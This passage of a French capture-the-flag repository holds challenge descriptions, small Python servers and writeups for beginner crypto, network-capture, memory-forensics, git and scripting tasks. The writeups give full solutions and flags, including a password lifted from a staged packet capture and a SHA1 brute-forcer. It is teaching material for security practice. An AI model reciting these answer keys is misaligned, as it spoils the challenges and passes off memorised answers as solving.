challenge) 24 | ``` 25 | -------------------------------------------------------------------------------- /challenges/crypto/vigenere/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Sachant que la clé est de 4 caractères et que le secret déchiffré commencera par "FLAG", on peut trouver les 4 caractères de la clé: 4 | 5 | ``` 6 | J - F = 4 7 | K - L = 25 8 | P - A = 15 9 | F - G = 25 10 | ``` 11 | 12 | Les chiffres à droite correspondent à la rotation par rapport à A. Pour avoir les caractères de la clé, on fait: 13 | 14 | ``` 15 | A + 4 = E 16 | A + 25 = Z 17 | A + 15 = P 18 | A + 25 = Z 19 | ``` 20 | 21 | Avec CyberChef, on peut décrypter le reste avec le module `Vigenère Decode`. 22 | 23 | On obtient le flag suivant: `FLAG-CAESARGOTNOTHINGONTHIS` 24 | -------------------------------------------------------------------------------- /challenges/crypto/xor1/README.md: -------------------------------------------------------------------------------- 1 | # 1 Byte XOR 2 | 3 | > Crypto 4 | 5 | Author: @xshill 6 | 7 | Connaissez-vous l'opération XOR? Il s'agit d'un OU exclusif effectué bit par bit. 8 | 9 | On prend deux nombres, par exemple `57` et `154`. Au format binaire, on obtient les nombres suivants: 10 | 11 | ``` 12 | 0 0 1 1 1 0 0 1 (57) 13 | 1 0 0 1 1 0 1 0 (154) 14 | ``` 15 | 16 | Pour obtenir le résultat, on compare chaque paire de bits. Le résultat est 1 si UN SEUL bit est à 1, et 0 sinon. 17 | 18 | ``` 19 | 0 0 1 1 1 0 0 1 (57) 20 | ^ 1 0 0 1 1 0 1 0 (154) 21 | = 1 0 1 0 0 0 1 1 (163) 22 | ``` 23 | 24 | Une propriété intéressante du XOR est que si on connaît deux des trois parties du chiffrement (plaintext, clé et ciphertext), on peut facilement retrouver l'autre partie: 25 | 26 | ``` 27 | A ^ B = C (équation 1: ciphertext) 28 | A = C ^ B (équation 2: plaintext) 29 | B = C ^ A (équation 3: clé de chiffrement) 30 | ``` 31 | 32 | Cette opération est beaucoup utilisée en cryptographie. Pour votre introduction à cette technique, déchiffrez le message suivant, sachant qu'il a été chiffré avec une clé XOR de longueur 1: 33 | 34 | ``` 35 | ERsWEHoYOQcyIiMWIiQkPhE2ND47MjoyOSMVJSIjMjE4JTQyJQ== 36 | ``` 37 | 38 | ATTENTION: Le message est au format base64, vous devrez donc le décoder avant de le déchiffrer. 39 | 40 | Un indice: le flag format est `FLAG-...` 41 | 42 | ## Setup 43 | 44 | Requirements: 45 | - None 46 | 47 | Start: 48 | 49 | ``` 50 | (Not an interactive challenge) 51 | ``` 52 | -------------------------------------------------------------------------------- /challenges/crypto/xor1/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | On commence par déchiffrer le message en base64, ce qui nous donne les valeurs d'octets suivantes: 4 | 5 | ``` 6 | 17, 27, 22, 16, 122, 24, 57, 7, 50, 34, 35, 22, 34, 36, 36, 62, 17, 54, 52, 62, 59, 50, 58, 50, 57, 35, 21, 37, 34, 35, 50, 49, 56, 37, 52, 50, 37 7 | ``` 8 | 9 | Comme on sait que le plaintext commence par `FLAG-`, on peut facilement retrouver la clé en utilisant les propriétés du XOR. 10 | Il suffit de faire un XOR avec `F` du premier octet chiffré (valeur décimale de `70`) (équation 3): 11 | 12 | ``` 13 | B = C ^ A => B = 17 ^ 46 = 87 = 'W' 14 | ``` 15 | 16 | On sait maintenant que la clé est 'W'. On peut alors déchiffrer le message avec l'équation 2 pour chaque caractère: 17 | 18 | ``` 19 | A = C ^ B => A = 27 ^ 87 = 76 = 'L' 20 | A = C ^ B => A = 22 ^ 87 = 65 = 'A' 21 | A = C ^ B => A = 16 ^ 87 = 71 = 'G' 22 | A = C ^ B => A = 122 ^ 87 = 45 = '-' 23 | ... 24 | ``` 25 | 26 | Note: sachant la clé, il est possible de déchiffrer le flag complet en enchaînant les fonctions "From Base64" et "XOR" sur CyberChef. 27 | 28 | Après avoir fait tous les caractères, on obtient le flag complet: `FLAG-OnPeutAussiFacilementBruteforcer`. 29 | 30 | Comme le flag le suggère, il est aussi facile de bruteforcer la clé de chiffrement. Puisqu'elle ne fait qu'un octet de long, il y a uniquement 256 clés de chiffrement possibles. 31 | -------------------------------------------------------------------------------- /challenges/forensics/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/.gitkeep -------------------------------------------------------------------------------- /challenges/forensics/binwalk/opentx-tx16s-en.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/binwalk/opentx-tx16s-en.zip -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_1/README.md: -------------------------------------------------------------------------------- 1 | # Requin au Centre 2 | > Forensics 3 | Author: @CycleOfTheAbsurd 4 | 5 | Une capture réseau contient les paquets qui ont été échangés sur le réseau pendant une période de temps. Ceci permet de voir ce qui a été échangé, entre qui et, s'il n'est pas chiffré, le contenu de ces échanges. [`Wireshark`](https://www.wireshark.org/) est un logiciel libre qui permet de créer et d'analyser de telles captures. Les [filtres de Wireshark](https://wiki.wireshark.org/DisplayFilters) vous seront grandement utiles. 6 | 7 | Dans cette série de défis, vous devrez utiliser cet outil pour récupérer les informations demandées dans cette capture réseau. Tous les défis utilise le même fichier: [requin\_au\_centre.pcapng](https://drive.google.com/file/d/1qnCaylIjn5Hhu3uXPrar1u7z43BQOWIe/view?usp=sharing) 8 | 9 | ---- 10 | 11 | Le protocole DNS est ce qui permet d'obtenir l'address IP associée à un nom de domaine (ex: aaaa.com). Les échanges dans ce protocole se font en clair dans un format lisible par les humains. 12 | 13 | Note: Ce flag n'est __pas__ au format `FLAG-.*` 14 | 15 | Défi #1: Quel est le nom de domaine associé à l'addresse IP `217.70.184.55`? 16 | 17 | 18 | ## Setup 19 | 20 | Requirements: 21 | - None 22 | 23 | Start: 24 | 25 | ``` 26 | (Not an interactive challenge) 27 | ``` 28 | -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_1/requin_au_centre.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/requin_centre_1/requin_au_centre.pcapng -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_1/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Dans le pcap, il y a plusieurs requêtes DNS. Si on les filtre par address IP en utilisant celle fournie dans l'énoncé: 4 | 5 | ``` 6 | dns.a == 217.70.184.55 7 | ``` 8 | 9 | Il n'y a qu'un seul paquet et la réponse est: `unitedctf.ca` 10 | -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_2/follow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/requin_centre_2/follow.png -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_2/seq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/requin_centre_2/seq.png -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_2/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Une erreur de page non-trouvée correspond au code de status `404 - Not Found`. On peut donc utiliser le filtre suivant pour réduire le nombre de paquets à regarder. 4 | 5 | ``` 6 | http.response.code == 404 7 | ``` 8 | 9 | Comme le nom du serveur est donnée, on peut raffiner le filtre à: 10 | 11 | ``` 12 | http.response.code == 404 && http.host contains united-ctf.can 13 | ``` 14 | 15 | Une fois que nous avons identifié le paquet qui contient la réponse, on peut facilement retrouver la requête un utilisant la fonctionnalité _follow HTTP Stream_ de `Wireshark` 16 | 17 | ![Ctrl-Alt-Shift-H](./follow.png) 18 | 19 | Ensuite, le numéro de séquece est disponible dans la section TCP du paquet: 20 | 21 | ![](./seq.png) 22 | 23 | Celui-ci est: `1316096750` 24 | -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_3/basic-auth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/requin_centre_3/basic-auth.png -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_3/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | On peut d'abord voir toutes les requêtes incluant un _Header_ `Authorization` ainsi que les réponses où ces tentatives d'authentification ont été refusées en utilisant le filtre suivant: 4 | 5 | ``` 6 | http.www_authenticate || http.authbasic 7 | ``` 8 | 9 | On peut voir plusieurs requêtes vers `/login.php` et l'une seule d'entre elles n'est pas accompagnée d'une réponse `401 - Unauthorized`. 10 | 11 | En allant dans les détails de cette requête dans la section `HTTP > Authorization`, nous pouvons voir les identifiants utilisés: 12 | 13 | ![united_admin:ehianne28](./basic-auth.png) 14 | 15 | Le mot de passe est `ehianne28`. 16 | -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_4/README.md: -------------------------------------------------------------------------------- 1 | # Requin au Centre 4 2 | > Forensics 3 | Author: @CycleOfTheAbsurd 4 | 5 | Une capture réseau contient les paquets qui ont été échangés sur le réseau pendant une période de temps. Ceci permet de voir ce qui a été échangé, entre qui et, s'il n'est pas chiffré, le contenu de ces échanges. [`Wireshark`](https://www.wireshark.org/) est un logiciel libre qui permet de créer et d'analyser de telles captures. Les [filtres de Wireshark](https://wiki.wireshark.org/DisplayFilters) vous seront grandement utiles. 6 | 7 | Dans cette série de défis, vous devrez utiliser cet outil pour récupérer les informations demandées dans cette capture réseau. Tous les défis utilise le même fichier: [requin\_au\_centre.pcapng](https://drive.google.com/file/d/1qnCaylIjn5Hhu3uXPrar1u7z43BQOWIe/view?usp=sharing) 8 | 9 | ---- 10 | 11 | À partir d'une capture réseau, il est possible de récupérer tous les fichiers qui ont été échangés sans chiffrement dans la période couverte. 12 | 13 | Défi #4: Une des images transmises via HTTP contient un flag, trouvez-le! 14 | 15 | 16 | ## Setup 17 | 18 | Requirements: 19 | - None 20 | 21 | Start: 22 | 23 | ``` 24 | (Not an interactive challenge) 25 | ``` 26 | -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_4/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/requin_centre_4/export.png -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_4/flags.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/requin_centre_4/flags.jpg -------------------------------------------------------------------------------- /challenges/forensics/requin_centre_4/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Il est possible d'exporter les fichiers transmis en utilisant la fonctionnalité _export Objects_ de `Wireshark`. 4 | 5 | ![File -> Export Objects > HTTP](./export.png) 6 | 7 | Beaucoup d'images ont été transmises. Il est possible de toutes les exporter et de les regarder manuellement, mais il y en a une qui sort du lot car elle provient du même serveur que les deux derniers flags:: 8 | 9 | ``` 10 | image/jpg: united-ctf.can:8080/flags.php 11 | ``` 12 | 13 | En l'exportant, on obtient: 14 | 15 | ![](./flags.jpg) 16 | 17 | `FLAG-ALL_FLAGS_ARE_BEAUTIFUL_iv3nR8NxQPnq` 18 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-1/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Le flag se trouve dans le nom du fichier exécutable d'un processus. 4 | 5 | Si on fait simplement 6 | 7 | ```shell 8 | volatility pslist -f /path/to/volatile_mem.dmp 9 | ``` 10 | 11 | Le nom est tronqué à seulement `b6eTMrzqNIvb31x`. 12 | 13 | Par contre, on spécifie que le processus a été lancé par la ligne de commande, donc on peut utiliser le module `cmdline`: 14 | 15 | ```shell 16 | $ volatility cmdline -f /path/to/volatile_mem.dmp 17 | [...] 18 | ************************************************************************ 19 | b6eTMrzqNIvb31x pid: 1036 20 | Command line : C:\b6eTMrzqNIvb31xnIdosZtrwl6njxxAPGJOAGOj8y5Pj5khLeWNiufQM3a3XL8KUGkhwOnVUM3A.exe 21 | ``` 22 | 23 | Avec seulement le nom de fichier sans extension ça donne `b6eTMrzqNIvb31xnIdosZtrwl6njxxAPGJOAGOj8y5Pj5khLeWNiufQM3a3XL8KUGkhwOnVUM3A` 24 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-2/README.md: -------------------------------------------------------------------------------- 1 | # Mémoire Volatile 2 2 | 3 | > Forensics 4 | 5 | Author: @CycleOfTheAbsurd 6 | 7 | Voir `Mémoire Volatile 1` pour l'outil à utiliser et le fichier de dump mémoire. 8 | 9 | Note: Les flags ne sont __pas__ au format `FLAG-.*` 10 | 11 | Lorsque l'on copie quelque chose, la donnée est stockée dans le _clipboard_ (presse-papier en français, mais personne n'utilise ce nom là). Le _clipboard_ est tout simplement une zone de mémoire dans la RAM qui est utilisée par les fonctionnalités Copier, Couper et Coller. 12 | 13 | 14 | Défi #2: Le flag est le contenu du _presse-papier_. 15 | 16 | 17 | ## Setup 18 | 19 | Requirements: 20 | - None 21 | 22 | Start: 23 | 24 | ``` 25 | (Not an interactive challenge) 26 | ``` 27 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-2/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Le 2è flag se trouve dans le clipboard, donc on utilise le module `clipboard` de volatility 4 | 5 | ```shell 6 | $ volatility clipboard -f /path/to/volatile_mem.dmp 7 | 8 | Volatility Foundation Volatility Framework 2.6.1 9 | Session WindowStation Format Handle Object Data 10 | ---------- ------------- ------------------ ---------- ---------- -------------------------------------------------- 11 | 0 WinSta0 CF_UNICODETEXT 0x96f00eb 0xe24ea678 SrayBRptOqTT3wOhR7tKDA9546ob5VIh+Hhn3GnO 12 | [...] 13 | ``` 14 | 15 | `SrayBRptOqTT3wOhR7tKDA9546ob5VIh+Hhn3GnO` 16 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-3/README.md: -------------------------------------------------------------------------------- 1 | # Mémoire Volatile 3 2 | 3 | > Forensics 4 | 5 | Author: @CycleOfTheAbsurd 6 | 7 | Voir `Mémoire Volatile 1` pour l'outil à utiliser et le fichier de dump mémoire. 8 | 9 | Note: Les flags ne sont __pas__ au format `FLAG-.*` 10 | 11 | Tel que mentionné dans la description du premier défi, un dump mémoire contient les fenêtres ouvertes ainsi que l'état du _Desktop_. 12 | 13 | 14 | Défi #3: Le flag est le titre de la fenêtre `paint` qui ouverte sur le _desktop_ (sans la partie " - Paint") 15 | 16 | 17 | ## Setup 18 | 19 | Requirements: 20 | - None 21 | 22 | Start: 23 | 24 | ``` 25 | (Not an interactive challenge) 26 | ``` 27 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-3/desktop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/forensics/volatility-3/desktop.png -------------------------------------------------------------------------------- /challenges/forensics/volatility-3/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Le flag est dans le titre d'une fenêtre visible sur le desktop. 4 | 5 | On peut utiliser le module `screenshot` de volatility pour en avoir une vue en wireframe 6 | 7 | ```shell 8 | volatility screenshot -f /path/to/volatile_mem.dmp -D /output/path/for/screenshots 9 | ``` 10 | 11 | ![Vue en wireframe du desktop](./desktop.png) 12 | 13 | `CPoHdUcQMvTcjSSvVuo` 14 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-4/README.md: -------------------------------------------------------------------------------- 1 | # Mémoire Volatile 4 2 | 3 | > Forensics 4 | 5 | Author: @CycleOfTheAbsurd 6 | 7 | Voir `Mémoire Volatile 1` pour l'outil à utiliser et le fichier de dump mémoire. 8 | 9 | Note: Les flags ne sont __pas__ au format `FLAG-.*` 10 | 11 | Un dump mémoire contient aussi les fichiers présentement chargés en mémoire. Comme ceux qui sont utilisés par des programmes en cours d'exécution. 12 | 13 | 14 | Défi #4: Le flag est le contenu du fichier `.rtf` actuellement ouvert dans `wordpad`. 15 | 16 | 17 | ## Setup 18 | 19 | Requirements: 20 | - None 21 | 22 | Start: 23 | 24 | ``` 25 | (Not an interactive challenge) 26 | ``` 27 | -------------------------------------------------------------------------------- /challenges/forensics/volatility-4/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Le flag se trouve dans un fichier `.rtf` ouvert dans wordpad. Il y a plusieurs façons de le récupérer. Nous allons utiliser les modules `filescan` et `dumpfiles` 4 | 5 | ```shell 6 | $ volatility filescan -f /path/to/volatile_mem.dmp 7 | 8 | [...] 9 | 0x0000000009faa028 1 0 RW---- \Device\HarddiskVolume1\Documents and Settings\Mauv\Desktop\fanion_etandard_oriflamme.rtf 10 | ``` 11 | 12 | Avec cette addresse, nous pouvons utiliser `dumpfiles` pour récupérer le fichier. 13 | 14 | ```shell 15 | volatility dumpfiles -Q 0x09faa028 -f /path/to/volatile_mem.dmp -D /output/path/for/files/ 16 | ``` 17 | 18 | On obtient un fichier RTF qu'on peut ouvrir avec word ou un éditeur de texte pour voir le flag: `79YNkIqsSFRBDOLtLxzwPUHcnzEoiKC2ALlUNJVvEqUjsIbsKO4f0Wc1i471kWAuAM1RqsfcW1c` 19 | -------------------------------------------------------------------------------- /challenges/git/git-intro/git-intro.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/git/git-intro/git-intro.zip -------------------------------------------------------------------------------- /challenges/git/git-intro/writeup.md: -------------------------------------------------------------------------------- 1 | # Partie 1 2 | Le flag a simplement été supprimé du dossier. Un simple `git reset HEAD --hard` le ramènera: 3 | 4 | `FLAG-4b47f5c0299bfcffef9b825732db30ff` 5 | 6 | # Partie 2 7 | En faisant `git log`, on s'aperçoit qu'un des messages de commit contient un flag: 8 | 9 | `FLAG-5562b3bbe01d1c6348ac6587909d0328` 10 | 11 | # Partie 3 12 | En faisant `git branch`, on voit qu'il y a une branche qui s'appelle `new-flag`. On fait `git checkout new-flag` pour aller sur cette branche on ouvre le fichier `flag` pour voir son nouveau contenu: 13 | 14 | `FLAG-0f933ce5cb1d769d153fc16a53c36cd7` 15 | 16 | # Partie 4 17 | En faisant `git stash list`, on voit qu'il y a quelque chose dans le `stash`: 18 | 19 | ``` 20 | $ git stash list 21 | stash@{0}: WIP on master: f929acf Add .gitignore 22 | ``` 23 | 24 | En faisant `git stash pop` ou `git stash apply`, on voit que le fichier `flag.png` se modifie. En ouvrant l'image, on trouve le flag suivant: 25 | 26 | `FLAG-88cd8162dc988ef495fcd8652e405ff9` 27 | -------------------------------------------------------------------------------- /challenges/misc/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/misc/.gitkeep -------------------------------------------------------------------------------- /challenges/programming/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/programming/.gitkeep -------------------------------------------------------------------------------- /challenges/programming/captcha-reader/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | RUN apt-get -y update 7 | RUN apt-get -y install \ 8 | gcc \ 9 | python3-dev \ 10 | build-essential \ 11 | libjpeg-dev \ 12 | musl-dev \ 13 | zlib1g-dev \ 14 | libfreetype6-dev 15 | 16 | COPY ./requirements.txt /app/requirements.txt 17 | RUN pip3 install -r /app/requirements.txt 18 | 19 | COPY ./server.py /app/server.py 20 | COPY ./random.png /app/random.png 21 | COPY ./Roboto-Regular.ttf /app/Roboto-Regular.ttf 22 | 23 | ENTRYPOINT [ "python3", "server.py" ] 24 | -------------------------------------------------------------------------------- /challenges/programming/captcha-reader/README.md: -------------------------------------------------------------------------------- 1 | # Captcha Reader 2 | 3 | > Programming 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Le but de ce défi est de lire le texte à l'intérieur d'un captcha. En vous connectant sur le socket, vous recevrez la quantité d'octets à lire et l'image encodée en Base64 (les languages Python, JavaScript et Bash ont tous de quoi le décoder). Vous recevrez dix défis différents un après l'autre et devez renvoyer le texte lu au serveur sans erreur. Les caractères à lire dans l'image sont alphanumériques et certains caractères ambigus ont été enlevés pour réduire le risque d'erreurs. 8 | 9 | Vous pouvez trouver des bibliothèques, des API et d'autres outils d'OCR en cherchant sur Internet. Soyez ingénieux et utilisez les meilleurs outils que vous pouvez trouver. Vous n'avez que trois secondes pour décoder l'image et envoyer le résultat. 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - None 15 | 16 | Start: 17 | 18 | ``` 19 | docker-compose up captcha-reader 20 | ``` 21 | -------------------------------------------------------------------------------- /challenges/programming/captcha-reader/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/programming/captcha-reader/Roboto-Regular.ttf -------------------------------------------------------------------------------- /challenges/programming/captcha-reader/random.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/programming/captcha-reader/random.png -------------------------------------------------------------------------------- /challenges/programming/captcha-reader/requirements.txt: -------------------------------------------------------------------------------- 1 | Pillow 2 | -------------------------------------------------------------------------------- /challenges/programming/hash-breaker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./server.py /app/server.py 7 | 8 | ENTRYPOINT [ "python3", "server.py" ] 9 | -------------------------------------------------------------------------------- /challenges/programming/hash-breaker/README.md: -------------------------------------------------------------------------------- 1 | # Hash Cracker 2 | 3 | > Programming 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Es-tu capable de briser les hash? Brise dix hash de suite et obtient le flag! 8 | 9 | La limite de temps pour briser un hash et envoyer le texte clair correspondant est fixée à deux secondes. On vous suggère d'essayer de briser les hash avec un "password hash cracker" en ligne afin de figurer le format des textes hashés avant de commencer à implémenter une solution. 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - None 15 | 16 | Start: 17 | 18 | ``` 19 | docker-compose up hash-cracker 20 | ``` 21 | -------------------------------------------------------------------------------- /challenges/programming/hash-breaker/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # hash-breaker challenge 3 | 4 | import socket 5 | import socketserver 6 | import time 7 | import hashlib 8 | import random 9 | 10 | flag = "flag-f832827eadad134a5450779048b3097050cac430" 11 | 12 | class TaskHandler(socketserver.BaseRequestHandler): 13 | def main(self, client): 14 | tries = 10 15 | for i in range(1, tries + 1): 16 | value = str(random.randint(1, 65535)) 17 | value_hash = hashlib.sha1(value.encode('ascii')).hexdigest() 18 | start_time = time.time() 19 | 20 | client.sendall(value_hash.encode() + b"\n") 21 | answer = client.recv(1024).decode().strip() 22 | end_time = time.time() 23 | 24 | if end_time - start_time >= 2.0: 25 | client.sendall("Trop lent!".encode('utf-8')) 26 | break 27 | elif answer == value: 28 | if i == tries: 29 | client.sendall(flag.encode()) 30 | break 31 | else: 32 | client.sendall("Mauvaise réponse".encode('utf-8')) 33 | break 34 | 35 | client.shutdown(socket.SHUT_RDWR) 36 | client.close() 37 | 38 | def setup(self): 39 | # on veut pas que le TaskHandler attende recv pour toujours 40 | self.request.settimeout(30.0) 41 | 42 | def handle(self): 43 | self.main(self.request) 44 | 45 | if __name__ == '__main__': 46 | socketserver.ThreadingTCPServer.allow_reuse_address = True 47 | server = socketserver.ThreadingTCPServer(('0.0.0.0', 3000), TaskHandler) 48 | server.serve_forever() 49 | -------------------------------------------------------------------------------- /challenges/programming/hash-breaker/writeup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import io 3 | import base64 4 | import requests 5 | import hashlib 6 | 7 | from pwn import * 8 | 9 | NUMBER_OF_TESTS = 1000000 10 | 11 | r = remote("127.0.0.1", 3000) 12 | 13 | while True: 14 | problem = r.recv(1024).decode().strip() 15 | 16 | if len(problem) == 0: 17 | print("[-] empty problem") 18 | break 19 | 20 | if problem.startswith("flag"): 21 | print("[+] flag: " + problem) 22 | break 23 | 24 | print("[+] new hash to crack: " + problem) 25 | 26 | # on a cracké un hash sur https://crackstation.net/ donc on a une idée du format 27 | possible_solution = 0 28 | while possible_solution < NUMBER_OF_TESTS: 29 | newhash = hashlib.sha1(str(possible_solution).encode('ascii')).hexdigest() 30 | 31 | if newhash == problem: 32 | break 33 | else: 34 | possible_solution += 1 35 | 36 | if possible_solution == NUMBER_OF_TESTS: 37 | print("[-] solution not found") 38 | break 39 | 40 | # found solution 41 | possible_solution = str(possible_solution) 42 | print("[+] cracked password: " + possible_solution) 43 | 44 | r.send(possible_solution) 45 | 46 | -------------------------------------------------------------------------------- /challenges/programming/init-json/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./requirements.txt /app/requirements.txt 7 | RUN pip3 install -r /app/requirements.txt 8 | 9 | COPY ./server.py /app/server.py 10 | COPY ./flag.py /app/flag.py 11 | 12 | ENTRYPOINT [ "python3", "server.py" ] 13 | -------------------------------------------------------------------------------- /challenges/programming/init-json/flag.py: -------------------------------------------------------------------------------- 1 | flag = "FLAG-33b0be8229ad4385a8a720c4fe868404" -------------------------------------------------------------------------------- /challenges/programming/init-json/requirements.txt: -------------------------------------------------------------------------------- 1 | names 2 | -------------------------------------------------------------------------------- /challenges/programming/init-json/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | Voir le fichier `writeup.py`. 4 | -------------------------------------------------------------------------------- /challenges/programming/init-json/writeup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import json 3 | 4 | from pwn import * 5 | 6 | r = remote("challenges.unitedctf.ca", 3005) 7 | 8 | data = json.loads(r.recv(1024).decode()) 9 | 10 | child = data["child"]["child"] 11 | child["grandparent"] = data["name"] 12 | 13 | r.send(json.dumps(child)) 14 | print(r.recvall().decode()) 15 | -------------------------------------------------------------------------------- /challenges/programming/init-socket/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./requirements.txt /app/requirements.txt 7 | RUN pip3 install -r /app/requirements.txt 8 | 9 | COPY ./server.py /app/server.py 10 | COPY ./flag.py /app/flag.py 11 | 12 | ENTRYPOINT [ "python3", "server.py" ] 13 | -------------------------------------------------------------------------------- /challenges/programming/init-socket/flag.py: -------------------------------------------------------------------------------- 1 | flag = "FLAG-d5b7b02ccf505529062742a997b8aa88" -------------------------------------------------------------------------------- /challenges/programming/init-socket/requirements.txt: -------------------------------------------------------------------------------- 1 | names 2 | -------------------------------------------------------------------------------- /challenges/programming/init-socket/server.py: -------------------------------------------------------------------------------- 1 | import json 2 | import names 3 | import socket 4 | import socketserver 5 | import time 6 | 7 | import flag 8 | 9 | 10 | class TaskHandler(socketserver.BaseRequestHandler): 11 | def main(self, client): 12 | name = names.get_full_name() 13 | start_time = time.time() 14 | 15 | client.sendall(name.encode() + b"\n") 16 | answer = client.recv(1024).decode().strip() 17 | end_time = time.time() 18 | 19 | if end_time - start_time >= 1.0: 20 | client.sendall(b"Too slow! You have 1 second to send back the text that was sent to you.") 21 | elif answer == name: 22 | client.sendall(flag.flag.encode()) 23 | else: 24 | client.sendall(b"Wrong answer! You must send back the text that was sent to you.") 25 | 26 | client.shutdown(socket.SHUT_RDWR) 27 | client.close() 28 | 29 | def setup(self): 30 | # on veut pas que le TaskHandler attende recv pour toujours 31 | self.request.settimeout(30.0) 32 | 33 | def handle(self): 34 | self.main(self.request) 35 | 36 | if __name__ == '__main__': 37 | socketserver.ThreadingTCPServer.allow_reuse_address = True 38 | server = socketserver.ThreadingTCPServer(('0.0.0.0', 3000), TaskHandler) 39 | server.serve_forever() 40 | -------------------------------------------------------------------------------- /challenges/programming/init-socket/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | Voir le fichier `writeup.py`. 4 | -------------------------------------------------------------------------------- /challenges/programming/init-socket/writeup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | r = remote("challenges.unitedctf.ca", 3004) 5 | 6 | name = r.recvline() 7 | print(name.decode().strip()) 8 | 9 | r.send(name) 10 | print(r.recvall().decode()) 11 | -------------------------------------------------------------------------------- /challenges/programming/maze/.gitignore: -------------------------------------------------------------------------------- 1 | generate1.py 2 | generate2.py 3 | -------------------------------------------------------------------------------- /challenges/programming/maze/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./requirements.txt /app/requirements.txt 7 | RUN pip3 install -r /app/requirements.txt 8 | 9 | COPY ./server.py /app/server.py 10 | COPY ./flag.py /app/flag.py 11 | 12 | ENTRYPOINT [ "python3", "server.py" ] 13 | -------------------------------------------------------------------------------- /challenges/programming/maze/flag.py: 